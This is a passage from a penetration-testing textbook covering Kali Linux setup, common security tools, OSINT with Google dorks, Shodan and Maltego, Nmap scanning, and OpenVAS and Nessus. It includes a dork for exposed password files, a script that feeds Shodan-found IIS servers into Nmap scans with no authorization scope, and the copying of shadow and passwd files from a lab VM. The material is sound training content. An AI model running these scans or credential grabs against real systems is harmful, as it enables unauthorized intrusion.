Figure 6: Options for Firmware Type of VM OS
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4. Click on Customize to make some changes to the RAM and CPUs that are
allocated to the virtual machines. You can adjust this as you see fit; in my
configuration, I will use two CPUs and 2 GB of RAM, as shown in Figure 7:

Figure 7: Settings for the VM
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5. Once you boot the virtual machine, select Start installer and follow the prompts
until the installation is complete as shown in Figure 8:

Figure 8: Diﬀerent boot options for Kali Linux
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Once you have completed the installation steps, you will see that Kali Linux has been
freshly installed, as shown in the preceding screenshot (Figure 8). You are now ready to
move on to the configuration phase.

Installing Kali Linux using the Windows Subsystem for
Linux (WSL)
Kali Linux is able to run natively in Windows using WSL and Windows Store Apps. The
following installation steps need to be performed in order to get Kali up and running with
the necessary tools installed:
1. First, install WSL; in order to do this, press the Windows key + r, type in
appwiz.cpl, and then click on OK.
2. Select the Windows Subsystem for Linux checkbox, as shown in Figure 9. Note
that once it has installed, your computer will require a reboot:

Figure 9: Select Windows Subsystem for Linux
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3. In the Windows Store, search for Kali Linux Windows Store App, and then
install the app. Once you have opened the application, it will perform some
initial steps, such as creating a new root user account. Once this is complete, you
can go ahead and update Kali Linux using the sudo apt-get update
command, as shown in Figure 10:

Figure 10: Updating Kali Linux in WSL

4. In order to view a complete list of available packages, use the sudo apt-cache
search kali-linux command. You will notice that the packages are split into
specific fields of penetration testing, such as forensics, as shown in Figure 11:

Figure 11: The list of Kali Linux packages in WSL
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Note that the sizes of the packages will vary; for example, at the time of
writing, the kali-linux-top10 package has a size of 2.9 GB. You will
need to ensure that your antivirus software on Windows 10 has an
exclusion for the Kali Linux package. The path for the package is
C:\Users\[username]\AppData\Local\Packages\. Also, note
that [username] denotes your logged-in user.
Another way in which to use Kali Linux tools in Windows is through the Ubuntu
Windows Store App with a tool such as Katoolin.
To do so, repeat the previously mentioned steps from 1 to 2; however, instead of installing
the Kali Linux application from the Windows Store, install the Ubuntu app.
Once the app is installed, you can proceed with the following steps:
1. Open Ubuntu Windows Store App and perform an update and upgrade of the
application using the following commands:
sudo apt-get update
sudo apt-get upgrade

2. Once Ubuntu is updated, you will need to install Python version 2.7; this can be
done using the following command:
sudo apt-get install python

3. You can also use a tool such as katoolin, which can be cloned using the
following command:
git clone https://github.com/lionsec/katoolin.git && cp
katoolin/katoolin.py /usr/bin/katoolin
chmod +x /usr/bin/katoolin

4. You can run the Katoolin tool using the sudo katoolin command, which will
present you with a menu that you can use to add the Kali repositories and install
the various tools that are listed in Categories, as shown in Figure 12:
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Figure 12: Katoolin installed in Ubuntu in WSL

This book will make use of Kali Linux installed either on a virtual machine or a physical
host. The scope of this book does not cover using Kali Linux in WSL.

Installing Kali Linux using VirtualBox
VirtualBox is a cross-platform hypervisor; importing a prebuilt Kali Linux virtual machine
in both Windows and macOS is the same process.
Once you have downloaded the prebuilt virtual machine, it will be in the .ova format. This
can be imported into VirtualBox using the following steps:
1. Open VirtualBox and click on Import if you are using the macOS version;
alternatively, click on File | Import if you are using the Windows version.
2. Navigate to where you have downloaded the prebuilt virtual machine and select
the .ova file. Then, click on the Next button.
3. You will now be presented with the settings and storage location of the virtual
machine. You can either customize this or leave it in its default settings.
4. Finally, click on Import.
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Once the import is completed, you can start the Kali Linux virtual machine. You might
receive an error related to the USB hardware, but VirtualBox will mention what you can
install in order to resolve this.

Configuring Kali Linux
After you have Kali Linux up and running, there are a few more steps that you need to
perform.
If you did a manual install of Kali Linux, you will be prompted to provide a username and
password for the root account. Alternatively, if you are using a prebuilt virtual machine,
then the default username is root and the password is toor. In order to change your
password, you can use the passwd utility, as shown in Figure 13:

Figure 13: Changing the root password in Kali Linux

Most of the tools within Kali Linux require root-level privileges in order to run. However,
there are risks to using a root-level account all the time; for example, consider that you are
browsing the internet for exploits and happen to land on a malicious website. This
malicious website could contain a dropper that drops a remote shell onto Kali Linux. Since
the account used is a root-level account, the attacker will have a remote shell with root
privileges on your system.
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In order to provide an additional layer of security, you will need to create a normal account
that does not have root-level privileges. This can be done by performing the following
steps:
1. Use the adduser [username] command.
2. Follow the prompts to complete the user's details, as shown in Figure 14:

Figure 14: Adding a non-root user
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If you do not add the user to the correct group, then the newly created user will
not be able to elevate to root-level privileges, as shown in Figure 15:

Figure 15: The user is not in the sudo group

3. In order to add the user to the correct group, you will need to enter the following
command:
usermod -a -G sudo [username]

Here, -a means append, and -G specifies the group.
4. Once you add the user to the sudo group, you need to allow the user to leverage
the bash shell. This is done using the following command:
chsh -s /bin/bash [username]
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The chsh command is used to change the login shell, while the -s switch is used to specify
the shell.
Once the user is added to the sudo group and the login shell has changed, the user can be
elevated to root-level privileges, as shown in the following screenshot (Figure 16):

Figure 16: The user is now elevated to root-level privileges

Next, we need to ensure that we are able to update Kali Linux. The first thing we need to
check is the sources.list file; this file can be found at /etc/apt/sources.list.
There are a few repositories that you can use; the standard one that is defined on Kali
Linux's website is as follows:
deb http://http.kali.org/kali kali-rolling main non-free contrib

Kali Linux lists their official repositories on their website, which can be
found here:
https://docs.kali.org/general-use/kali-linux-sources-listrepositories.
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You can confirm that your repository is not commented out by running the more
/etc/apt/source.list or cat /etc/apt/sources.list commands, as shown in the
following screenshot (Figure 17):

Figure 17: Listing the sources.list ﬁle in Kali Linux

If you need to edit the sources.list file, then you can do so by using Leafpad, Nano, or
your favorite text editor.
Additionally, you will need to perform updates on Kali Linux to ensure that you have the
latest version of tools and system files.
The command to perform an update is apt update, and the command to perform an
upgrade is apt upgrade. These commands can be issued together to save time; the
combined command is apt update && apt upgrade. Additionally, you can also use apt
update && apt full-upgrade to include a distribution upgrade, as shown in the
following screenshot (Figure 18):
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Figure 18: Updating and upgrading Kali Linux

By default, there are services that do not start automatically when Kali Linux boots up. Kali
Linux contains services such as ssh, http, and more. If these services are set to
automatically start up, they will expose ports, which will lead to Kali Linux being exposed
and vulnerable.
If you want to enable specific services, you will need to use the systemctl start
[service name]. For example, if you want to enable the ssh server, you could use
the systemctl command to start ssh. On the other hand, if you want it to automatically
start during boot, you can use the systemctl command to enable ssh.
The following screenshot (Figure 19) shows that the ssh service is not started by default and
demonstrates how to enable it:

Figure 19: Enabling the ssh service
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Now that we have Kali Linux installed and updated, let's move on to some of its basic
commands.

Basic commands in Kali Linux
There are some basic commands in Kali Linux that are very useful to know. Some of these
useful basic commands include locate, chmod, find, ls, cd, and pwd:
locate: I use this command often; it can be used to easily locate a specific file.
Before using the locate command, you need to perform a database update
using updatedb, as shown in the following screenshot (Figure 20):

Figure 20: Using the locate command

chmod: This command is useful if you need to control the permissions of a file.
Some tools, when downloaded, will require you to modify the permissions so
that you are able to execute them. For example, chmod 600 sets the file so that
only the owner can read and write, as shown in Figure 21:

Figure 21: Using the chmod command
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find: This command is a more intense search tool than the locate command;
here, find searches any given path as shown in Figure 22:

Figure 22: Using the ﬁnd command

ls: This command is used to list the contents of the current directory. Using the a switch will display hidden files and folders.
cd: This command is used to change the current working directory. It is also
known as the chdir command.
pwd: This command prints the working directory, which simply displays the

name of the current directory that you are working in.

All of these listed commands are a good starting point to get you familiar with the core
functions in Kali Linux. If you are looking for a complete A-Z list of commands, these can
be found easily using your favorite search engine.

Scripting in Kali Linux
Kali Linux is relatively verbose—you can leverage bash scripting to create complex scripts,
which you can then leverage for penetration testing.
A sample script that performs a Nmap scan is as follows:
read -p "Target IP/Range: " $targetIP
echo "$targetIP"
Nmap -sS -O -v "$targetIP"
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In this script, we are telling the system to print out the read -p "Target IP/Range: text,
which we tie to the variable of $targetIP. In the next line, we are displaying the IP range
using the echo command, which is passed as an argument. In the last line, we perform a
simple Nmap scan, using the switches of -sS, which performs a TCP SYN port scan; the O, which performs remote operating system detection; and -v, which increases the
verbosity level, as shown in Figure 23:

Figure 23: A sample Nmap script

During the course of this book, we will explore additional scripts (for example, in Chapter
3, Performing Information Gathering, using a script to search Shodan, and more). As you
progress on your penetration testing journey, you will likely develop your own useful list
of scripts.

The essential tools of Kali Linux
Kali Linux contains hundreds of tools that are used for penetration testing, forensics, and
much more. Navigating through the tools that are built-in, along with the additional tools
that are available on the internet, can be a challenging and overwhelming task.
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In this section, we will discuss the essential tools that you are likely to use frequently. As
you progress through this book, you will learn about additional tools that are either built-in
or need to be downloaded. The following list is just a drop in the ocean, so to speak; you
can expect to see more of these tool throughout the book.

Nmap
Nmap has been around for many years; it is one of the most used network mapper tools
and it's free. Additionally, it comes in a command-line and graphical version. The graphical
version is known as Zenmap. The main features of Nmap are as follows:
Host discovery: This is useful for detecting hosts within the network
OS detection: This can be used to determine the operating system of the target
device
Application version detection: This provides an insight into the application
version and the name of the target device
Port scanning: This allows you to enumerate what ports are exposed to the host
Scripting: This leverages the Nmap scripting engine (NSE), which allows you to
write custom scripts that provide speed and efficiency when using Nmap
There are a number of cheat sheets available on the internet for Nmap. An
example can be found at https://pen-testing.sans.org/blog/2013/10/
08/nmap-cheat-sheet-1-0/.
In Chapter 3, Performing Information Gathering, we will work with Nmap in greater depth
and use some of its features, such as the NSE.

Aircrack-ng
Aircrack-ng is a wireless security suite, which contains a packet analyzer, WPA and WPA2
auditing tools, and much more. The main features of Aircrack-ng are as follows:
Wired equivalent privacy (WEP) and Wi-Fi protected access (WPA) password
decryption
Packet injection
Support for WPA and WPA2-PSK password decryption
Exporting captured data to files for further processing
Replaying attacks, de-authentication, and more
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Aircrack-ng will be used and explained in more detail in Chapter 9, Getting Started with
Wireless Attacks.

John the Ripper (JTR) and Hydra
JTR is a cryptography tool that allows you to perform brute force attacks against
passwords. JTR supports a vast array of encryption algorithms such as SHA-1, DES,
Windows' LM/NTLM hashes, and more. Some of the main features of JTR are as follows:
It performs dictionary attacks and brute force capabilities
It has the ability to run as a cron job
It offers customization of brute force rules and dictionary attack lists
Hydra, which is commonly used alongside JTR, provides support for a wide range of
network protocols. Hydra is an online password cracker, whereas JTR is an offline
password cracker. Some of the main features of Hydra are as follows:
It supports a wide range of protocols
It performs dictionary attacks and brute force capabilities
It has the ability to add modules to extend functionality
In Chapter 6, Understanding Password Attacks, we will begin using JTR and Hydra to
perform password attacks.

SET
SET provides a variety of ways for you to conduct social engineering attacks. It is based on
Python and is open source. Some of the attacks that SET is capable of include WiFi APbased attacks, email-based attacks, web-based attacks, SMS-based attacks, and involve
creating payloads.
SET is able to integrate with third-party modules, support Powershell attack vectors,
generate phishing attacks, and much more.
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Burp Suite
Burp Suite is used for web application penetration testing; it is a powerful tool that can be
used to cover every aspect of web application testing. Some of the main features of Burp
Suite include the following:
Interception proxy: This is used to inspect and modify the requests and
responses that your browser makes towards the targeted web application
Spider: This can be used to list all the directories on a web server
Intruder: This is used to create and perform customized attacks
Repeater: This is used to replay requests
Kali Linux contains a wealth of useful tools, and what we have covered here is just a drop
in the ocean. From Chapter 3, Performing Information Gathering, onward, we will be
working with a lot more tools within Kali Linux.

Summary
In this chapter, we looked at our penetration testing platform of choice, which is Kali Linux.
We explored the installation, configuration, and initial setup. We then began working with
basic bash scripts and commonly used commands. To conclude the chapter, we looked at
some of the essential tools that are included within Kali Linux.
You now have the ability to install Kali Linux from scratch, you know where to download a
prebuilt virtual machine, and you have learned how to install Kali Linux in WSL. In
addition to this, you have learned how to perform the initial configuration of Kali Linux
such as updating, upgrading, and adding new user accounts. We also explored how to
compile basic scripts within the bash environment. You should now have a good
understanding of some basic commands and the uses of them, as well as some of the
common tools and their main features within Kali Linux.
In Chapter 3, Performing Information Gathering, we will explore the different types of
information gathering and the tools that you can use to perform this. We will begin by
using the tools in Kali Linux to perform various types of information gathering.
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Questions
1.
2.
3.
4.
5.

Why is Kali Linux one of the preferred distributions for penetration testers?
What install options exist for Kali Linux?
What commands are used to update Kali Linux?
How do you start specific services within Kali?
Name at least three essential tools in Kali.
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Section 2: Exploitation
In this section, you will start actively working with the various tools within Kali Linux. You
will learn how to perform a multitude of tasks spanning across the various stages of a
penetration test. The aim here is to exploit the target, so we will be working with attacks
focused on social engineering, Metasploit, and more. We will cover multiple technologies
here, such as wireless networks and web applications.
The following chapters will be covered in this section:
Chapter 3, Performing Information Gathering
Chapter 4, Mastering Social Engineering
Chapter 5, Diving into the Metasploit Framework
Chapter 6, Understanding Password Attacks
Chapter 7, Working with Burp Suite
Chapter 8, Attacking Web Applications
Chapter 9, Getting Started with Wireless Attacks

3
Performing Information
Gathering
The skill of gathering information about your target is an essential skill that any penetration
tester should have.
There is a big difference between passive and active information gathering. Passive
information gathering leverages publicly available information. Active information
gathering involves direct interaction with the target system. Active information gathering
crosses the line when it comes to laws in specific countries, as some countries deem it illegal
to perform any type of penetration test without permission—this is where your "get out of
jail free card" (as discussed in Chapter 1, Introduction to Penetration Testing) comes in. It's
important to have the right authorizations before you perform any active information
gathering.
The information you gather about your target will be used to plan your attack. In this
phase, you will look for anything that can expose information about your target. For
example, are their public facing servers exposing known vulnerable ports? Are there any
documents or information (such as social media posts) that contain sensitive information
that's available on the internet? As you build your repository of information, you can begin
threat modeling and search for vulnerabilities that can be used in your attack plan.
As you progress through this chapter, you will learn about the following topics:
Passive information gathering
Active information gathering
Vulnerability scanning
Known vulnerable services
Capturing traffic
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Technical requirements
The following technical requirements apply to this chapter:
Kali Linux 2019.1
Metasploitable 2 and 3

Passive information gathering
Passive information gathering is commonly referred to as Open Source Intelligence
(OSINT). When you're performing passive information gathering, the main aim is to collect
as much information about the target as possible without alerting the target. In the passive
information gathering phase, you will leverage publicly published information using a
number of tools and third-party databases. You will be surprised at how much information
you can gain from publicly accessible resources.
Common passive information gathering techniques are as follows:
Investigating DNS records to find mail server details, subdomains, and more
Using crafted searches on search engines to discover any information, such as
files
Discovering internet connected devices
Using tools to obtain information, such as email addresses
The OSINT framework aims to collect information from freely available
resources. A good online resource that I encourage you to look at is as
follows: https://osintframework.com.
Let's do some information gathering by using something that is rife with information—the
internet.
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Using the internet
When gathering information, one of your main tools will be the internet. The internet is rife
with information. Social media, blogs, messaging services, among others, are all common
mediums that people use on a daily basis. Employees might post information about their
organization that might seem meaningless to them, but to an attacker, it can be a gold mine.

Google dorks
A Google dork (also referred to as Google hacking) really is a specially crafted search string
that returns information that isn't readily available on the website that's being targeted. It
does this by leveraging advanced search operators.
Using Google dorks is an excellent way to perform information gathering on your target.
You are able to return data such as usernames and passwords, sensitive information, login
portals, and more.
Search operators within Google can be used to query specific information. Examples of
such search operators are as follows:
site: Provides an output of URLs that are specific to the website you define.
inurl: With this query, you can define a certain string, and the results will return
websites that have that string in them.
filetype: Here, you can define specific filetypes that you are looking for. For
example, you can specify PDF, XLS, DOC, or any other file extension you want.
Search operators can be used together to perform crafty searches. An example of this is
when looking for files with the .doc extension on microsoft.com. Here, you would
accomplish this using the search query filetype:doc site:microsoft.com within
Google.com.
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Exploit-DB houses the Google Hacking Database, which is shown in the following
screenshot (Figure 1). Here, you will find a vast collection of Google dorks that are
constantly being updated:
The exact location for the Google Hacking Database on Exploit-DB is as
follows: https://www.exploit-db.com/google-hacking-database.

Figure 1: Google Hacking Database listed on exploit-db.com

You will notice that there are multiple categories where you can find various Google dorks.
Let's perform information gathering using one of the dorks:
intext:password "Login Info" filetype:txt
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The results from Google show how many websites have passwords exposed in clear text, as
shown in Figure 2:

Figure 2: Passwords exposed using a Google Dork

As you gather information on your target, you can leverage crafted search queries within
Google to discover what information is available.
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Shodan
Shodan is not your average search engine. It's often referred to as the search engine for
hackers. On its website, Shodan is referred to as the world's first search engine for
interconnected devices. Shodan is accessible via https://www.shodan.io as shown in Figure 3:

Figure 3: The landing page for https://www.shodan.io

What is so unique about Shodan? Search engines such as Google and Bing index websites,
but Shodan indexes everything, such as webcams, databases servers, medical devices,
routers, and so on. Anything that is connected to the internet is indexed by Shodan.
As defined by the founder of Shodan, John Matherly, in his book, Complete Guide to Shodan,
the algorithm of Shodan is simple.
1. Create a random IPv4 address
2. Look at the list of ports that Shodan understands and pick a random port
3. Using the IPv4 address generated in step 1 and the port generated in step 2, perform a
connection and grab the banner
4. Repeat step 1
This algorithm does not merely crawl websites—it finds everything and indexes it. Let's
take a look at some of the queries that can be run with Shodan.
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Shodan scripting
As we learned in Chapter 2, Getting Started with Kali Linux, within Kali Linux, you are able
to use scripts. Let's take a look at a script that can work with Shodan.
The first thing you should do is register for an account with Shodan. This can be done by
navigating directly to https://account.shodan.io/register. Once you have created an
account, navigate to My Account and obtain your API key. Keep you API key as you will
use it in the script.
From your Kali Linux machine, you need to perform a few tasks before you can begin
writing the script:
1. Ensure that you are running the latest updates and upgrades and have python
2.7 installed. Running the following command will ensure that you meet this
requirement:
sudo apt-get update && sudo apt-get install python2.7

2. We will leverage the pip command to install the required shodan files. This is
done using the following command:
sudo pip install shodan

Once you have all the requirements installed, you can create a script that
performs whatever search you want to perform. Note that for all the queries
leveraging Shodan, you will need to leverage your API key. You can replace the
text "insert your API key here" with your actual API key. We will create a
script that will allow us to perform information gathering on our target. By using
the sample script the follows, we can leverage Shodan to obtain results using
the api.search query.
3. We will create a new Python script using the nano shodan-iis.py command
and the following code:
import shodan
SHODAN_API_KEY = "insert your API key here"
api = shodan.Shodan(SHODAN_API_KEY)
# Wrap the request in a try/ except block to catch errors
try:
# Search Shodan
results = api.search('IIS')
# Show the results
print('Results found: {}'.format(results['total']))
for result in results['matches']:
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print('IP: {}'.format(result['ip_str']))
print(result['data'])
print('')
except shodan.APIError, e:
print('Error: {}'.format(e))

To save a file in nano, you can use Ctrl + O and exit using Ctrl + X. Once the file has been
saved, we can run it using the python shodan-iis.py command.
Note that my search is not specific to any country—I am merely searching for IIS servers:
If you purchase a subscription to Shodan, you are able to use a lot more
search operators within your API query. The free version limits you to
basic searches and only 2 pages of results.

Figure 4: Output of the shodan-iis script

In the preceding output (Figure 4), we have a number of results. Now, we can
filter the results so that we have the IP addresses only. Using these IP addresses,
we can then leverage a simple Nmap script to perform a scan of the IP addresses.
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4. Modify the script so that only the IP addresses are displayed. To do this, we need
to remove IP from the line print('IP:
{}'.format(result['ip_str'])) and remove the
lines print(result['data']) and print(''). The new code should look like
this:
import shodan
SHODAN_API_KEY = "insert your API key here"
api = shodan.Shodan(SHODAN_API_KEY)
# Wrap the request in a try/ except block to catch errors
try:
# Search Shodan
results = api.search('IIS')
# Show the results
print('Results found: {}'.format(results['total']))
for result in results['matches']:
print(' {}'.format(result['ip_str']))
except shodan.APIError, e:
print('Error: {}'.format(e))

Note that we now have just the IP addresses. Using this, we can pipe the output
to a text file using the python shodan-iis.py >> shodan-iis.txt command
as shown in Figure 5:

Figure 5: Output of shodan-iis script ﬁltering only IP addresses.

Now that we have the IP addresses, we can build a simple bash script to run an
Nmap scan against them.
5. Create a simple bash script by entering the nano shodan-nmapiis.sh command. Inside nano, enter the following code:
#!/bin/bash
cat shodan-iis.txt | while read line
do
nmap -sS -sV $line
done
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Save the script as you did for the Python script, and change the permissions to enable it to
run using the chmod +x shodan-nmap-iis.sh command. Then, run the script using the
./shodan-nmap-iis.sh command.
In the preceding code, we started with the crunchbang (#!) and defined the shell we will
run the script in. Then, we defined the source file. While the script reads each line, it then
performs a Nmap TCP syn scan (-sS), and a service and version detection on the ports (sV). The results are as shown in Figure 6:

Figure 6: Results of the bash script

Shodan truly is a search engine for hackers. There is a wealth of information that can be
obtained on any type of internet-connected device.

Using Kali Linux
Kali Linux has a number of built-in tools that you can use for both passive and active
information gathering. Here, we will take a look at some of the tools that can be used for
passive information gathering.

Maltego
Maltego is a great tool that uses OSINT. Maltego is able to visualize how information on
your target is connected. Maltego is available in both free and paid versions. In this book,
we will leverage the free version. Maltego is also pre-installed within Kali Linux, so there is
no need to install it. You will notice that even though we will use the free version, it's able
to derive a wealth of information on your target.
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Maltego uses publicly available information to visualize connections and
information. There should be no legal implications when performing
analysis on public targets, but please ensure that you check your local
country-specific laws.
Let's get started and run Maltego. To get Maltego started, from the Kali Terminal, type
in maltego. On the first launch of Maltego, you will need to select which version you will
be using. The free edition is titled Maltego CE. Once you register your account and sign in,
you will be presented with the start screen of Maltego.
Maltego uses transforms, which allow you to obtain richer results by plugging into various
websites such as Shodan, VirusTotal and Threatminer. You will notice that the Transform
Hub has a wealth of additions that you can plug into to beef up your results as shown
in Figure 7:

Figure 7: List of transforms within Maltego
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Within Maltego, we have the option to run a machine. Think of a machine as a script or
macro that runs a set of predefined transforms with various filters configured. Using
a machine allows you to kick off information gathering quickly. To run a machine, you
need to click on Run a machine and select your desired machine. In our example, we will
run the Footprint L3 machine, which performs an intense footprint on a defined domain as
shown in Figure 8:

Figure 8: Running a machine within Maltego

Once the scan has completed, you will be presented with a wealth of information. In this
example, I performed an information-gathering scan on one of my personal
domains. Maltego was able to pick up other domains hosted on my hosting companies'
shared DNS, my domain's website, shared public IP, MX records, and much more as shown
in Figure 9:
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Figure 9: Information gathered by Maltego

You will notice that the graph is very large. For illustration purposes, I
have zoomed into the data related to my domain. You can perform this
test on your own personal domain and observe the results that Maltego
presents.
Maltego is extremely useful for information gathering. When you make use of the
additional transforms, it will allow you to obtain a lot of information about your target.

Active information gathering
Active information gathering is when we start to interact with systems so that we can
gather more information. During active information gathering, it is possible to trip alarms
that will alert the target, so depending on the type of attack being planned, you need to
exercise caution.
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Some penetration tests intentionally trip alarms to test the effectiveness of
alerts, logs, or even the response times of the countermeasures that are in
place.

Nmap
Network mapper (Nmap) is a tool that allows you to perform network discovery and
security auditing. It is only available in the command line, and has a graphical version
called Zenmap. Nmap is able to work across multiple platforms, such as macOS, Windows,
and Linux. Nmap is very robust in that it provides additional functionality by not only
allowing you to detect open ports, but also allowing you to detect the operating system and
services running on your target. Nmap is included in Kali Linux by default. Nmap can be
used to perform the following:
Network discovery: This allows you to detect any live hosts on the target
network
Port discovery: This allows the detection of open ports
Service discovery: This provides the ability to detect software versions tied to a
specific port
Operating system discovery: This provides information on the running
operating system and version
Vulnerability scanning: This provides the ability to detect vulnerabilities using
scripts
Nmap has a number of scanning options that you can use. Some of the common scans are
as follows:
-sS: This is a TCP SYN scan. This scan is one of the most commonly used scan

types, as it offers stealth by not completing the TCP connection.
-sT: This is a TCP connect scan. This scan performs a complete connection to the
target port, which can lead to detection by the target.
-sU: This performs a scan over the UDP protocol. Using this scan, you can
uncover ports related to DHCP, DNS, SNMP, and so on.
-p: This defines a specific port or port range. Ranges are separated by a dash, . If you do not specify a port or range, the scan will scan all 65,535 ports.
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-sC: This performs a scan using the default set of scripts.
-sV: This performs version detection by referencing the port to the Nmap

services database of well-known services. Once the reference is made, Nmap is
able to display the service that is running on the port. Although this linking is
very accurate, you might find a case where admins link different applications to
common ports.
-O: This performs operating system detection by sending a number of crafted
packets (such as TCP sampling, window check sizes, and IP options) and
comparing them to the nmap-os-db. Once there is a match, Nmap will display
the operating system of the target.
--script: This defines scripts using a comma-separated list for different
categories, names, and directories. For example, --script "http-*" will load
every script which deals with http. --script "default,safe" will load
scripts that are in the default and safe category.
SANS currently has a good Nmap cheat sheet that you can use for
reference. This is located here: https://blogs.sans.org/pen-testing/
files/2013/10/NmapCheatSheetv1.1.pdf.
Nmap was originally used for port scanning, but the tool has evolved beyond that and is
now capable of performing vulnerability scans too. Leveraging the Nmap Scripting Engine
(NSE) allows you to write your own scripts, and use scripts that are freely available. Within
Kali Linux, there are a number of scripts that can be found at
the /usr/share/nmap/scripts location. There are various categories for the scripts, such
as information gathering, vulnerability scanning, brute force, and so on. To view a full list
of scripts that are currently available within Kali Linux, you can run the ls
/usr/share/nmap/scripts command from a Terminal window within Kali Linux.
Alternatively, you can use the locate command, which you learned about in the previous
chapter: locate *.nse.
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If you are unsure of what a script does, you can use the nmap -script-help [script
name] command, as shown in Figure 10:

Figure 10: Nmap script help

Let's perform a few scans against the Metasploitable 2 virtual machine. Ensure that both
your Kali Linux and Metasploitable 2 virtual machines are on the same virtual network:
1. We will perform some network discovery using the netdiscover command
from a Terminal window in Kali Linux. After some time, your Metasploitable 2
IP address will be displayed.
2. We will run a basic TCP SYN scan against the Metasploitable 2 virtual machine
using the nmap -sS [ip address] command. Once the scan has completed,
we will be presented with a list of all open ports, as shown in Figure 11. In the
output, we are presented with the current list of open ports. But let's combine
some more parameters to obtain richer results:

Figure 11: Nmap TCP SYN scan
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Note that nfs port 2049/TCP is open on Metasploitable 2. Using the file
browser, you can navigate to nfs://[IP] of your Metasploitable 2
virtual machine. You will have access to the filesystem without
authentication. You can leverage this vulnerability and browse to /etc/
and copy the shadow and passwd files to your Kali Linux. You will use
these files in Chapter 6, Understanding Password Attacks.
3. Using the nmap -sS -sV -O -sU [ip address] command, we are able to
obtain results, which provide a lot more information. You will notice that we can
now see the service version tied to the port numbers for both TCP and UDP, as
well as the operating system's information, as shown in Figure 12:

Figure 12: An Nmap scan combining various scan options
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4. Since this version of Metasploitable has an Apache server running, let's leverage
a script to provide us with even more information. Using the nmap --script
http-enum.nse [IP address] command, we are able to detect information
related to the open HTTP ports, as shown in Figure 13:

Figure 13: Nmap displaying the open ports of a machine in the Terminal

You can perform an Nmap scan using the switches in step 3 toward your
Metasploitable 3 system, but you will need to add in -oX, which exports
the output to an .xml file. In Chapter 5, Diving into the Metasploit
Framework, you will use this.
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By having a good understanding of Nmap, you can really benefit when performing a
penetration test. Ensure that you have practiced various scans within your lab, so that you
gain a good understanding of the outputs and how to use different scans in specific
situations.

Vulnerability scanning
Once you have gathered the necessary information, it's time to start performing some
additional research around the vulnerabilities that exist. Vulnerability scans are done using
software such as Nessus and OpenVAS, to name a couple. Typically, a vulnerability
scanner will have signatures that tie into specific vulnerabilities. Once the scanner has been
run and completed, you will be presented with a report that shows all the vulnerabilities
related to a specific system. Vulnerability scanners are only able to detect
the known vulnerabilities; anything that is unknown will not be detected by the
vulnerability scanner. Vulnerability scanners are crucial to have within your penetration
testing toolkit. They often expose vulnerabilities that you might have overlooked.
Let's take a look at a few vulnerability scanners that you can use in your penetration tests.

OpenVAS
OpenVAS is an open source vulnerability scanner that comes in both free and paid
versions. The aim of OpenVAS is to be an all-in-one vulnerability scanner that leverages a
variety of built-in tests. OpenVAS contains more than 50,000 network vulnerability tests
(NVTS) as of January 2019, and it is constantly growing. OpenVAS is not installed by
default on Kali Linux, so you will need to install it. To install OpenVAS, you need to follow
these steps:
1. From a Kali Linux Terminal window, download OpenVAS using the apt-get
install openvas command. This will connect to the OpenVAS repository and
download the required files.
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2. Once the download completes, it's time to install OpenVAS using the openvassetup command. This will begin the installation process of OpenVAS and
download the NVT feeds. Once the installation has completed, there will be a
system-generated password presented at the end. Take note of this as you will
need it to log in to OpenVAS and change the password to something you desire
as shown in Figure 14:

Figure 14: OpenVAS installation completed with login details presented on screen

If you forgotten your OpenVAS username and password, you can change
them using the following command:
openvasmd –user=[username]–new-password=[password]
So, for example, you might use openvasmd –user=admin –newpassword=Sup3rS3cretPa55w0rd.
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3. Once the installation has completed and you have logged into the user interface
of OpenVAS, you can perform a vulnerability scan by clicking on the Scans tab
on the top navigation bar. To perform a new scan, you can use the
task wizard or create a new task button. These buttons are depicted by the wand
(task wizard) and star (create new task). Let's create a task so that we can
perform a vulnerability scan on Metasploit 2. Using the create new task function,
we can define the name of the task and define the target, as shown in Figure 15:

Figure 15: New OpenVAS task creation
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4. Once the task has been created, you can run it using the green play icon in the
Actions section of the task.
5. Once the task has completed, you will be presented with a dashboard showing
you a high-level view of the results. Click on the Reports section, as shown
in Figure 16:

Figure 16: High-level overview
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6. Once you are in the Reports overview, to view the full report of the scan, you
will need to click on the scan Date, as shown in Figure 17:

Figure 17: Report overview
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7. Now, you will have a full list of all the vulnerabilities that were discovered by
OpenVAS, as shown in Figure 18:

Figure 18: A report of found vulnerabilities

Once you have the report, you are able to expand the vulnerability to see the full details of
it. OpenVAS provides you with the solution type (such as a vendor fix or workaround) and
quality of detection (QoD).
I encourage you to perform a vulnerability scan of your own network or host using
OpenVAS so that you can become more familiar with this vulnerability scanner.

Nessus
Nessus is one of the most popular vulnerability scanners on the market. Like other
vulnerability scanners, Nessus contains a database of known vulnerabilities across different
platforms and protocols. Nessus is available in both the paid version (commonly used by
penetration testers and in-house security departments to perform vulnerability scans) and
the free version, which is called Nessus Home. In this book, we will use Nessus Home,
which is limited to scanning only a few IP addresses. Since Nessus is not installed by
default in Kali Linux, we will need to install it.
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Follow these steps to do so:
1. Navigate to https://www.tenable.com/products/nessus-home and register for
an activation code for Nessus Home. Once you complete the registration, you
will have the option to download Nessus. The direct link for the Nessus
download page is https://www.tenable.com/downloads/nessus#download.
2. Download the version titled Debian 6, 7, 8, 9/Kali Linux 1, 2017.3 AMD64,
or Debian 6, 7, 8, 9/Kali Linux 1, 2017.3 i386 (32-bit), depending on your Kali
Linux architecture. Although the software version displayed a previous version
of Kali Linux, it will work in the current version that's used throughout this
book, which is version 2019.1.
3. Once you have downloaded the correct version, you can install it within Kali
Linux by navigating to your download directory and using the dpkg I command. The installation should be relatively quick. Once completed, you
will be presented with the summary, as shown in Figure 19:

Figure 19: Nessus installation

4. Start the Nessus scanner by running the /etc/init.d/nessusd start
or service nessusd start commands and navigate to the graphical interface,
which is located at https://kali:8834 using Firefox ESR, which is built in to
Kali Linux.
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The URL for the graphical interface might differ in your environment.
Please take note of the summary once the installation completes.

Once Nessus has been started and you navigate to the administrator URL, you will be
presented with some options to create a new user account. After the account has been
created, Nessus will perform some post-installation tasks, such as installing plugins. Once
all of the tasks are completed, you will be able to log in to the admin portal, as shown
in Figure 20:

Figure 20: The Nessus admin portal
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Let's perform a vulnerability scan on a Metasploitable 2 virtual machine (which you learned
about in Chapter 1, Introduction to Penetration Testing). To get your Metasploitable 2 virtual
machine up and running, open metasploitable.vmx with your hypervisor (in my case, I
am using VMware Fusion). Once Metasploitable 2 loads, log in using the default username
and password of msfadmin and issue the ifconfig command to display the IP address of
the virtual machine, as shown in Figure 21. Make sure that Kali Linux is on the same virtual
network as Metasploitable:

Figure 21: Metasploitable 2 IP address

From the Nessus admin portal, select New Scan. You will be presented with a number of
